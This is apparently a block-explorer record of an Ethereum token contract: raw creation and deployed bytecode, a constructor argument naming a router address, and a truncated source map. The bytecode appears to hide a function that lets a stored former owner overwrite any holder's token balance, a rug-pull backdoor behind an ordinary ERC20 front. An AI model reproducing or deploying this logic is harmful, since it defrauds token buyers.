555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600760009054906101000a900460ff1661161d57600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112bd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561161c57600854811115611307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fe90612307565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561156857600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156113c657600080fd5b505afa1580156113da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113fe9190611bff565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148257600080fd5b505afa158015611496573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ba9190611bff565b6040518363ffffffff1660e01b81526004016114d79291906121e1565b60206040518083038186803b1580156114ef57600080fd5b505afa158015611503573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115279190611bff565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115c35761161e565b600954816115d084610763565b6115da9190612419565b111561161b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611612906122e7565b60405180910390fd5b5b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168a90612367565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611703576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fa90612247565b60405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561178a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611781906122c7565b60405180910390fd5b828103600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836117dc91906124fa565b925081600460008282546117f091906124fa565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118469190612419565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118ac91906123c7565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161191191906123c7565b60405180910390a35050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198790612367565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f790612247565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7e906122c7565b60405180910390fd5b8181611a9391906124fa565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b259190612419565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b8991906123c7565b60405180910390a350505050565b600081359050611ba6816126b7565b92915050565b600081519050611bbb816126b7565b92915050565b600081359050611bd0816126ce565b92915050565b600060208284031215611be857600080fd5b6000611bf684828501611b97565b91505092915050565b600060208284031215611c1157600080fd5b6000611c1f84828501611bac565b91505092915050565b60008060408385031215611c3b57600080fd5b6000611c4985828601611b97565b9250506020611c5a85828601611b97565b9150509250929050565b600080600060608486031215611c7957600080fd5b6000611c8786828701611b97565b9350506020611c9886828701611b97565b9250506040611ca986828701611bc1565b9150509250925092565b60008060408385031215611cc657600080fd5b6000611cd485828601611b97565b9250506020611ce585828601611bc1565b9150509250929050565b611cf88161252e565b82525050565b611d0f611d0a8261252e565b6125e8565b82525050565b611d1e81612540565b82525050565b6000611d2f826123fd565b611d398185612408565b9350611d49818560208601612583565b611d5281612699565b840191505092915050565b6000611d6a602383612408565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611dd0601f83612408565b91507f45524332303a2064697361626c6520726f75746572206465666c6174696f6e006000830152602082019050919050565b6000611e10602683612408565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611e76602283612408565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611edc602683612408565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611f42601883612408565b91507f4d617820686f6c64696e67206578636565646564206d617800000000000000006000830152602082019050919050565b6000611f82601283612408565b91507f416d6f756e742065786365656473206d617800000000000000000000000000006000830152602082019050919050565b6000611fc2602883612408565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612028602083612408565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000612068602583612408565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006120ce602483612408565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612134602583612408565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6121968161256c565b82525050565b6121a581612576565b82525050565b60006121b78284611cfe565b60148201915081905092915050565b60006020820190506121db6000830184611cef565b92915050565b60006040820190506121f66000830185611cef565b6122036020830184611cef565b9392505050565b600060208201905061221f6000830184611d15565b92915050565b6000602082019050818103600083015261223f8184611d24565b905092915050565b6000602082019050818103600083015261226081611d5d565b9050919050565b6000602082019050818103600083015261228081611dc3565b9050919050565b600060208201905081810360008301526122a081611e03565b9050919050565b600060208201905081810360008301526122c081611e69565b9050919050565b600060208201905081810360008301526122e081611ecf565b9050919050565b6000602082019050818103600083015261230081611f35565b9050919050565b6000602082019050818103600083015261232081611f75565b9050919050565b6000602082019050818103600083015261234081611fb5565b9050919050565b600060208201905081810360008301526123608161201b565b9050919050565b600060208201905081810360008301526123808161205b565b9050919050565b600060208201905081810360008301526123a0816120c1565b9050919050565b600060208201905081810360008301526123c081612127565b9050919050565b60006020820190506123dc600083018461218d565b92915050565b60006020820190506123f7600083018461219c565b92915050565b600081519050919050565b600082825260208201905092915050565b60006124248261256c565b915061242f8361256c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124645761246361260c565b5b828201905092915050565b600061247a8261256c565b91506124858361256c565b9250826124955761249461263b565b5b828204905092915050565b60006124ab8261256c565b91506124b68361256c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124ef576124ee61260c565b5b828202905092915050565b60006125058261256c565b91506125108361256c565b9250828210156125235761252261260c565b5b828203905092915050565b60006125398261254c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156125a1578082015181840152602081019050612586565b838111156125b0576000848401525b50505050565b600060028204905060018216806125ce57607f821691505b602082108114156125e2576125e161266a565b5b50919050565b60006125f3826125fa565b9050919050565b6000612605826126aa565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b6126c08161252e565b81146126cb57600080fd5b50565b6126d78161256c565b81146126e257600080fd5b5056fea2646970667358221220a88115ad29cc0e0d9ab1dd7806cce3324417293cbd8797490747fa358b723b1264736f6c634300080000330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb14610349578063ab40caab14610379578063dd62ed3e14610397578063f2fde38b146103c7578063fbf8a77c146103e35761012c565b8063715018a6146102a35780638da5cb5b146102ad57806395d89b41146102cb57806398636f32146102e9578063a457c2d7146103195761012c565b806339509351116100f457806339509351146101eb57806352f716061461021b578063562c219514610239578063622565891461026957806370a08231146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d578063313ce567146101cd575b600080fd5b610139610401565b6040516101469190612225565b60405180910390f35b61016960048036038101906101649190611cb3565b610493565b604051610176919061220a565b60405180910390f35b6101876104b1565b60405161019491906123c7565b60405180910390f35b6101b760048036038101906101b29190611c64565b6104bb565b6040516101c4919061220a565b60405180910390f35b6101d56105bc565b6040516101e291906123e2565b60405180910390f35b61020560048036038101906102009190611cb3565b6105c5565b604051610212919061220a565b60405180910390f35b610223610671565b60405161023091906123c7565b60405180910390f35b610253600480360381019061024e9190611cb3565b610677565b60405161026091906123c7565b60405180910390f35b61027161073e565b005b61028d60048036038101906102889190611bd6565b610763565b60405161029a91906123c7565b60405180910390f35b6102ab6107ac565b005b6102b56107c0565b6040516102c291906121c6565b60405180910390f35b6102d36107e9565b6040516102e09190612225565b60405180910390f35b61030360048036038101906102fe9190611bd6565b61087b565b604051610310919061220a565b60405180910390f35b610333600480360381019061032e9190611cb3565b61089b565b604051610340919061220a565b60405180910390f35b610363600480360381019061035e9190611cb3565b61098f565b604051610370919061220a565b60405180910390f35b6103816109ad565b60405161038e91906123c7565b60405180910390f35b6103b160048036038101906103ac9190611c28565b6109b3565b6040516103be91906123c7565b60405180910390f35b6103e160048036038101906103dc9190611bd6565b610a3a565b005b6103eb610abe565b6040516103f8919061220a565b60405180910390f35b606060058054610410906125b6565b80601f016020809104026020016040519081016040528092919081815260200182805461043c906125b6565b80156104895780601f1061045e57610100808354040283529160200191610489565b820191906000526020600020905b81548152906001019060200180831161046c57829003601f168201915b5050505050905090565b60006104a76104a0610ad1565b8484610ad9565b6001905092915050565b6000600454905090565b60006104c8848484610ca4565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610513610ad1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058a90612327565b60405180910390fd5b6105b08561059f610ad1565b85846105ab91906124fa565b610ad9565b60019150509392505050565b60006009905090565b60006106676105d2610ad1565b8484600360006105e0610ad1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106629190612419565b610ad9565b6001905092915050565b60085481565b6000803390506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000826040516020016106b791906121ab565b6040516020818303038152906040528051906020012090506000826040516020016106e291906121ab565b60405160208183030381529060405280519060200120905060008660001b9050600082841490508015610726576107198983610fa3565b9650505050505050610738565b61072f89611039565b96505050505050505b92915050565b610746611082565b6001600760006101000a81548160ff021916908315150217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107b4611082565b6107be6000611100565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107f8906125b6565b80601f0160208091040260200160405190810160405280929190818152602001828054610824906125b6565b80156108715780601f1061084657610100808354040283529160200191610871565b820191906000526020600020905b81548152906001019060200180831161085457829003601f168201915b5050505050905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b600080600360006108aa610ad1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095e906123a7565b60405180910390fd5b610984610972610ad1565b85858461097f91906124fa565b610ad9565b600191505092915050565b60006109a361099c610ad1565b8484610ca4565b6001905092915050565b60095481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a42611082565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa990612287565b60405180910390fd5b610abb81611100565b50565b600760009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090612387565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb0906122a7565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c9791906123c7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b90612367565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7b90612247565b60405180910390fd5b610d8f838383611205565b6000811415610d9d57610f9e565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e415750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f92576000610e73600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610763565b14610eb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eaa90612267565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f5c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f915760006064600b5483610f7391906124a0565b610f7d919061246f565b9050610f8b84848484611623565b50610f9e565b5b610f9d838383611920565b5b505050565b6000808260001c905080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61108a610ad1565b73ffffffffffffffffffffffffffffffffffffffff166110a86107c0565b73ffffffffffffffffffffffffffffffffffffffff16146110fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f590612347565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600760009054906101000a900460ff1661161d57600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112bd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561161c57600854811115611307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fe90612307565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561156857600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156113c657600080fd5b505afa1580156113da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113fe9190611bff565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148257600080fd5b505afa158015611496573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ba9190611bff565b6040518363ffffffff1660e01b81526004016114d79291906121e1565b60206040518083038186803b1580156114ef57600080fd5b505afa158015611503573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115279190611bff565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115c35761161e565b600954816115d084610763565b6115da9190612419565b111561161b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611612906122e7565b60405180910390fd5b5b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168a90612367565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611703576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fa90612247565b60405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561178a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611781906122c7565b60405180910390fd5b828103600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836117dc91906124fa565b925081600460008282546117f091906124fa565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118469190612419565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118ac91906123c7565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161191191906123c7565b60405180910390a35050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198790612367565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f790612247565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7e906122c7565b60405180910390fd5b8181611a9391906124fa565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b259190612419565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b8991906123c7565b60405180910390a350505050565b600081359050611ba6816126b7565b92915050565b600081519050611bbb816126b7565b92915050565b600081359050611bd0816126ce565b92915050565b600060208284031215611be857600080fd5b6000611bf684828501611b97565b91505092915050565b600060208284031215611c1157600080fd5b6000611c1f84828501611bac565b91505092915050565b60008060408385031215611c3b57600080fd5b6000611c4985828601611b97565b9250506020611c5a85828601611b97565b9150509250929050565b600080600060608486031215611c7957600080fd5b6000611c8786828701611b97565b9350506020611c9886828701611b97565b9250506040611ca986828701611bc1565b9150509250925092565b60008060408385031215611cc657600080fd5b6000611cd485828601611b97565b9250506020611ce585828601611bc1565b9150509250929050565b611cf88161252e565b82525050565b611d0f611d0a8261252e565b6125e8565b82525050565b611d1e81612540565b82525050565b6000611d2f826123fd565b611d398185612408565b9350611d49818560208601612583565b611d5281612699565b840191505092915050565b6000611d6a602383612408565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611dd0601f83612408565b91507f45524332303a2064697361626c6520726f75746572206465666c6174696f6e006000830152602082019050919050565b6000611e10602683612408565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611e76602283612408565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611edc602683612408565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611f42601883612408565b91507f4d617820686f6c64696e67206578636565646564206d617800000000000000006000830152602082019050919050565b6000611f82601283612408565b91507f416d6f756e742065786365656473206d617800000000000000000000000000006000830152602082019050919050565b6000611fc2602883612408565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612028602083612408565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000612068602583612408565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006120ce602483612408565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612134602583612408565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6121968161256c565b82525050565b6121a581612576565b82525050565b60006121b78284611cfe565b60148201915081905092915050565b60006020820190506121db6000830184611cef565b92915050565b60006040820190506121f66000830185611cef565b6122036020830184611cef565b9392505050565b600060208201905061221f6000830184611d15565b92915050565b6000602082019050818103600083015261223f8184611d24565b905092915050565b6000602082019050818103600083015261226081611d5d565b9050919050565b6000602082019050818103600083015261228081611dc3565b9050919050565b600060208201905081810360008301526122a081611e03565b9050919050565b600060208201905081810360008301526122c081611e69565b9050919050565b600060208201905081810360008301526122e081611ecf565b9050919050565b6000602082019050818103600083015261230081611f35565b9050919050565b6000602082019050818103600083015261232081611f75565b9050919050565b6000602082019050818103600083015261234081611fb5565b9050919050565b600060208201905081810360008301526123608161201b565b9050919050565b600060208201905081810360008301526123808161205b565b9050919050565b600060208201905081810360008301526123a0816120c1565b9050919050565b600060208201905081810360008301526123c081612127565b9050919050565b60006020820190506123dc600083018461218d565b92915050565b60006020820190506123f7600083018461219c565b92915050565b600081519050919050565b600082825260208201905092915050565b60006124248261256c565b915061242f8361256c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124645761246361260c565b5b828201905092915050565b600061247a8261256c565b91506124858361256c565b9250826124955761249461263b565b5b828204905092915050565b60006124ab8261256c565b91506124b68361256c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124ef576124ee61260c565b5b828202905092915050565b60006125058261256c565b91506125108361256c565b9250828210156125235761252261260c565b5b828203905092915050565b60006125398261254c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156125a1578082015181840152602081019050612586565b838111156125b0576000848401525b50505050565b600060028204905060018216806125ce57607f821691505b602082108114156125e2576125e161266a565b5b50919050565b60006125f3826125fa565b9050919050565b6000612605826126aa565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b6126c08161252e565b81146126cb57600080fd5b50565b6126d78161256c565b81146126e257600080fd5b5056fea2646970667358221220a88115ad29cc0e0d9ab1dd7806cce3324417293cbd8797490747fa358b723b1264736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

18010:2805:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12557:107;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13776:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13059:115;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13966:434;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12902:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14411:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18462:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16359:598;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20003:83;;;:::i;:::-;;13237:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10166:110;;;:::i;:::-;;9920:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12783:111;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18535:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14644:384;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13374:180;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18498:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13617:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10288:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18428:27;;;: